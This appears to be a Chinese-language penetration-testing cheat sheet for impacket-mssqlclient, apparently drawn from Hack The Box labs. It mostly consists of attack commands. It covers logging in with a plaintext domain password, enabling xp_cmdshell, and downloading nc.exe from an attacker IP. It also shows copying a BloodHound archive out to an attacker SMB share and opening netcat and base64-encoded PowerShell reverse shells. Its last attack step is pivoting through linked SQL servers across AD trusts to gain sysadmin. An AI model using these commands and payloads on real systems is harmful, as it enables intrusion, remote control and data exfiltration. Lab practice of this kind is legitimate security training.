【mssql】impacket-mssqlclient
1. 安装
Impacket 包自带
2. 利用
#连接(也支持用哈希)
impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!@10.129.58.102' -windows-auth
impacket-mssqlclient 'darkzero.htb/john.w:RFulUtONCOL!@10.129.58.102'
-windows-auth参数,指定使用“Windows 集成身份验证” (NTLM/SSPI) 模式登录,而非 SQL 模式登录
- 适用于目标 SQL Server 禁用了 SQL 登录、只允许 Windows 身份或 Kerberos/NTLM 时
- 也可以利用某些域用户直接委派登录,不需要 SQL 账号
2.1. 信息枚举
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
2.2. 提权
先看自己是不是 SA 权限,不然无法开启 xp_cmdshell 也就无法执行命令
enable_xp_cmdshell #开启xp_cmdshell
#执行命令 下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.14/nc.exe -Outfile c:\\users\public\nc.exe"'
#弹shell
xp_cmdshell powershell -e JABjAGwAaQBlAG4AdAAgAD0...
2.3. 命令执行
2.3.1. 上传文件
EXEC xp_cmdshell 'copy c:\users\mssqlsvc\20251011221915_BloodHound.zip \\10.10.14.58\share\bloodhound.zip'
2.3.2. 反弹shell
xp_cmdshell \\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443
2.3.3. sp_start_job
此命令可以通过代理Job执行命令
SQL (sa dbo@master)> sp_start_job cmd.exe /c "whoami > C:\Windows\Tasks\tmp.txt"
[*] INFO(SQL01): Line 96: Job 'IdxDefrag2A8E83E4-0180-458A-8291-66FB5E862F2A' started successfully.
此命令使用的是
cmdexec子系统执行命令,delete_level被设置为3,说明在执行一次后会被自动删除
2.4. 链接服务器
可以使用 use_link来切换到其他链接服务器
SQL (ws_dev guest@master)> use_link SQL02
SQL >SQL02 (sa dbo@master)> SELECT name, database_id, create_date FROM sys.databases;
name database_id create_date
--------- ----------- -----------
master 1 2003-04-08 09:13:36
tempdb 2 2024-05-20 02:53:56
model 3 2003-04-08 09:13:36
msdb 4 2022-10-08 06:31:57
wsarchive 5 2024-05-13 16:19:18
后续查询无需用
OPENQUERY或EXECUTE AT包裹,因为 mssqlclient 会自动处理此操作
#返回原来的服务器
use_link localhost
2.5. 解密链接服务器凭据
此脚本没有自动解密链接服务器凭据
2.6. AD Trusts中的利用
1:先用 enum_links 枚举是否有链接服务器(跨域信任关系)
- 这里有一个指向
DC02.darkzero.ext的链接服务器- 在
DC01上的用户为darkzero\john.w,切换到DC02后继承dc01_sql_svc的权限
Warning
使用 exec_as_user 只能针对用户、证书、对称密钥等“安全主体”,不能直接 impersonate 角色
2: 切换到链接服务器
这一步主要目的是为获取一个立足点,利用的是这个数据库的配置不当(如这里 john.w 用户在DC01的mssql的角色为 guest 但在 DC02 的mssql服务上的角色是 SA)
use_link [DC02.darkzero.ext]
3:提权执行命令反弹shell
enable_xp_cmdshel
xp_cmdshell ipconfig
#下文件
EXEC xp_cmdshell 'powershell -c "Invoke-WebRequest -Uri http://10.10.14.58/nc.exe -Outfile c:\users\mssqlsvc\nc.exe"'
#弹shell
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAIAAxADAALgAxADAALgAxADQALgA2ADIAIgAsADQANAA0ADQAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
2.6.1. 后续利用
后续就是进行信息收集然后根据情况而定
- 比如常见的就是利用黄金票据、非约束委派、PTT 、密码复用、ADCS Abuse 、SIDHistory、
2.7. 常见报错
2.7.1. Login failed for user
┌──(root㉿kali)-[~/Desktop/htb/Scrambled]
└─# impacket-mssqlclient -k -no-pass scrm.local/ksimpson@DC1.scrm.local
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[-] ERROR(DC1): Line 1: Login failed for user 'SCRM\ksimpson'.
用户没有权限访问mssql
可以尝试使用 【SPN】impacket-GetUserSPNs


